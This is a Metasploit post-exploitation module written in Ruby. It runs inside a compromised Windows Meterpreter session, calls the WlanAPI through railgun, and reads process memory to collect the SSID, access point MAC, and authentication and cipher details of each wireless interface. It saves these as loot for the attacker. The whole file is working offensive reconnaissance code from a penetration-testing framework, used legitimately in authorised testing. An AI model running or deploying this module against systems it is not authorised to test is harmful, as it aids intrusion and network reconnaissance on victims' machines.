##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Wireless Current Connection Info',
        'Description' => %q{
          This module gathers information about the current connection on each
          wireless lan interface on the target machine.
        },
        'License' => MSF_LICENSE,
        'Author' => ['theLightCosine'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_sys_process_attach
              stdapi_sys_process_getpid
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )
  end

  def run
    # Opens memory access into the host process
    mypid = client.sys.process.getpid
    @host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
    @wlanapi = client.railgun.wlanapi

    wlan_connections = "Wireless LAN Active Connections: \n"
    wlan_handle = open_handle
    unless wlan_handle
      print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
      print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')
      return
    end
    wlan_iflist = enum_interfaces(wlan_handle)

    wlan_iflist.each do |interface|
      connect_info = query_current_connection(wlan_handle, interface['guid'])
      guid = guid_to_string(interface['guid'])
      wlan_connection = "GUID: #{guid} \nDescription: #{interface['description']} \nState: #{interface['state']}\n"
      if connect_info
        wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"
        wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"
        wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"
        wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"
        wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"
        wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"
        wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"
      else
        wlan_connection << "\tThis interface is not currently connected to a network\n"
      end
      print_good(wlan_connection)
      wlan_connections << wlan_connection
    end

    wlan_connections.gsub!(/\x00/, '')
    store_loot('host.windows.wlan.connections', 'text/plain', session, wlan_connections, 'wlan_connections.txt', 'Wireless LAN Connections')
    # close the Wlan API Handle
    closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
    if closehandle['return'] == 0
      print_status('WlanAPI Handle Closed Successfully')
    else
      print_error('There was an error closing the Handle')
    end
  end

  def open_handle
    begin
      wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)
    rescue StandardError
      return nil
    end
    return wlhandle['phClientHandle']
  end

  def query_current_connection(wlan_handle, guid)
    connection = {}
    conn_info = @wlanapi.WlanQueryInterface(wlan_handle, guid, 7, nil, 4, 4, nil)
    # Grab the pointer to our data structure. We skip voer the Interface State since we already have it
    # We interpret the connection mode used first
    pointer = conn_info['ppData']
    pointer = (pointer + 4)
    mode = @host_process.memory.read(pointer, 4)
    mode = mode.unpack('V')[0]
    case mode
    when 0
      connection['mode'] = 'A profile is used to make the connection.'
    when 1
      connection['mode'] = 'A temporary profile is used to make the connection.'
    when 2
      connection['mode'] = 'Secure discovery is used to make the connection.'
    when 3
      connection['mode'] = 'Unsecure discovery is used to make the connection.'
    when 4
      connection['mode'] = 'connection initiated by wireless service automatically using a persistent profile.'
    when 5
      connection['mode'] = 'Invalid connection mode.'
    else
      connection['state'] = 'Unknown connection Mode.'
    end

    # Grab the wirelessprofile name used in the connection
    pointer = (pointer + 4)
    profile = @host_process.memory.read(pointer, 512)
    connection['profile'] = profile.gsub(/\x00/, '')

    # Check the size of the SSID value. If we get nothing back, the interface is not currently connected
    # We return nil and deal with the results back in the calling function
    pointer = (pointer + 512)
    len_ssid = @host_process.memory.read(pointer, 4)
    unless len_ssid.unpack('V')[0]
      return nil
    end

    # Grabs the SSID of the BSS connected to
    pointer = (pointer + 4)
    ssid = @host_process.memory.read(pointer, 32)
    connection['ssid'] = ssid.gsub(/\x00/, '')

    # Grabs what type of a BSS this is and itnerpretes it into human readable
    pointer = (pointer + 32)
    bsstype = @host_process.memory.read(pointer, 4)
    bsstype = bsstype.unpack('V')[0]
    case bsstype
    when 1
      connection['type'] = 'Infrastructure'
    when 2
      connection['type'] = 'Independent'
    when 3
      connection['type'] = 'Any'
    else
      connection['type'] = 'Unknown BSS Type'
    end

    # Grabs the BSS MAC address
    pointer = (pointer + 4)
    bssid = @host_process.memory.read(pointer, 6)
    bssid = bssid.unpack('H*')[0]
    bssid.insert(2, ':')
    bssid.insert(5, ':')
    bssid.insert(8, ':')
    bssid.insert(11, ':')
    bssid.insert(14, ':')
    connection['bssid'] = bssid

    # Grabs the physical association type and interprets it into human readable
    pointer = (pointer + 8)
    phy_type = @host_process.memory.read(pointer, 4)
    phy_type = phy_type.unpack('V')[0]
    case phy_type
    when 1
      connection['physical'] = 'Frequency-hopping spread-spectrum (FHSS)'
    when 2
      connection['physical'] = 'Direct sequence spread spectrum (DSSS)'
    when 3
      connection['physical'] = 'Infrared (IR) baseband'
    when 4
      connection['physical'] = 'Orthogonal frequency division multiplexing (OFDM)'
    when 5
      connection['physical'] = 'High-rate DSSS (HRDSSS)'
    when 6
      connection['physical'] = 'Extended rate PHY type'
    when 7
      connection['physical'] = '802.11n PHY type'
    else
      connection['physical'] = 'Unknown Association Type'
    end

    # Grabs the signal strength value
    pointer = (pointer + 8)
    signal = @host_process.memory.read(pointer, 4)
    connection['signal'] = signal.unpack('V')[0]

    # Grabs the receive rate value
    pointer = (pointer + 4)
    rxrate = @host_process.memory.read(pointer, 4)
    connection['rxrate'] = rxrate.unpack('V')[0]

    # Grabs the transmit rate value
    pointer = (pointer + 4)
    txrate = @host_process.memory.read(pointer, 4)
    connection['txrate'] = txrate.unpack('V')[0]

    # Checks if security is enabled on this BSS
    pointer = (pointer + 4)
    security_enabled = @host_process.memory.read(pointer, 4)
    if security_enabled.unpack('V')[0] == 1
      connection['security'] = 'Yes'
    else
      connection['security'] = 'No'
    end

    # Checks of 802.1x Authentication is used
    pointer = (pointer + 4)
    onex = @host_process.memory.read(pointer, 4)
    if onex.unpack('V')[0] == 1
      connection['oneX'] = 'Yes'
    else
      connection['oneX'] = 'No'
    end

    # Determines wat Authentication Algorithm is being used
    pointer = (pointer + 4)
    algo = @host_process.memory.read(pointer, 4)
    algo = algo.unpack('V')[0]
    case algo
    when 1
      connection['auth'] = '802.11 Open'
    when 2
      connection['auth'] = '802.11 Shared'
    when 3
      connection['auth'] = 'WPA'
    when 4
      connection['auth'] = 'WPA-PSK'
    when 5
      connection['auth'] = 'WPA-None'
    when 6
      connection['auth'] = 'RSNA'
    when 7
      connection['auth'] = 'RSNA with PSK'
    else
      connection['auth'] = 'Unknown Algorithm'
    end

    # Determines what Cipher is being used
    pointer = (pointer + 4)
    cipher = @host_process.memory.read(pointer, 4)
    cipher = cipher.unpack('V')[0]
    case cipher
    when 0
      connection['cipher'] = 'None'
    when 1
      connection['cipher'] = 'WEP-40'
    when 2
      connection['cipher'] = 'TKIP'
    when 4
      connection['cipher'] = 'CCMP'
    when 5
      connection['cipher'] = 'WEP-104'
    when 256
      connection['cipher'] = 'Use Group Key'
    when 257
      connection['cipher'] = 'WEP'
    else
      connection['cipher'] = 'Unknown Cipher'
    end
    return connection
  end

  def enum_interfaces(wlan_handle)
    iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)
    pointer = iflist['ppInterfaceList']

    numifs = @host_process.memory.read(pointer, 4)
    numifs = numifs.unpack('V')[0]

    interfaces = []

    # Set the pointer ahead to the first element in the array
    pointer = (pointer + 8)
    (1..numifs).each do |_i|
      interface = {}
      # Read the GUID (16 bytes)
      interface['guid'] = @host_process.memory.read(pointer, 16)
      pointer = (pointer + 16)
      # Read the description(up to 512 bytes)
      interface['description'] = @host_process.memory.read(pointer, 512)
      pointer = (pointer + 512)
      # Read the state of the interface (4 bytes)
      state = @host_process.memory.read(pointer, 4)
      pointer = (pointer + 4)

      # Turn the state into human readable form
      state = state.unpack('V')[0]
      case state
      when 0
        interface['state'] = 'The interface is not ready to operate.'
      when 1
        interface['state'] = 'The interface is connected to a network.'
      when 2
        interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'
      when 3
        interface['state'] = 'The interface is disconnecting from the current network.'
      when 4
        interface['state'] = 'The interface is not connected to any network.'
      when 5
        interface['state'] = 'The interface is attempting to associate with a network.'
      when 6
        interface['state'] = 'Auto configuration is discovering the settings for the network.'
      when 7
        interface['state'] = 'The interface is in the process of authenticating.'
      else
        interface['state'] = 'Unknown State'
      end
      interfaces << interface
    end
    return interfaces
  end

  # Convert the GUID to human readable form
  def guid_to_string(guid)
    aguid = guid.unpack('H*')[0]
    sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]
    sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]
    sguid << '-' + aguid[20, 12] + '}'
    return sguid
  end
end
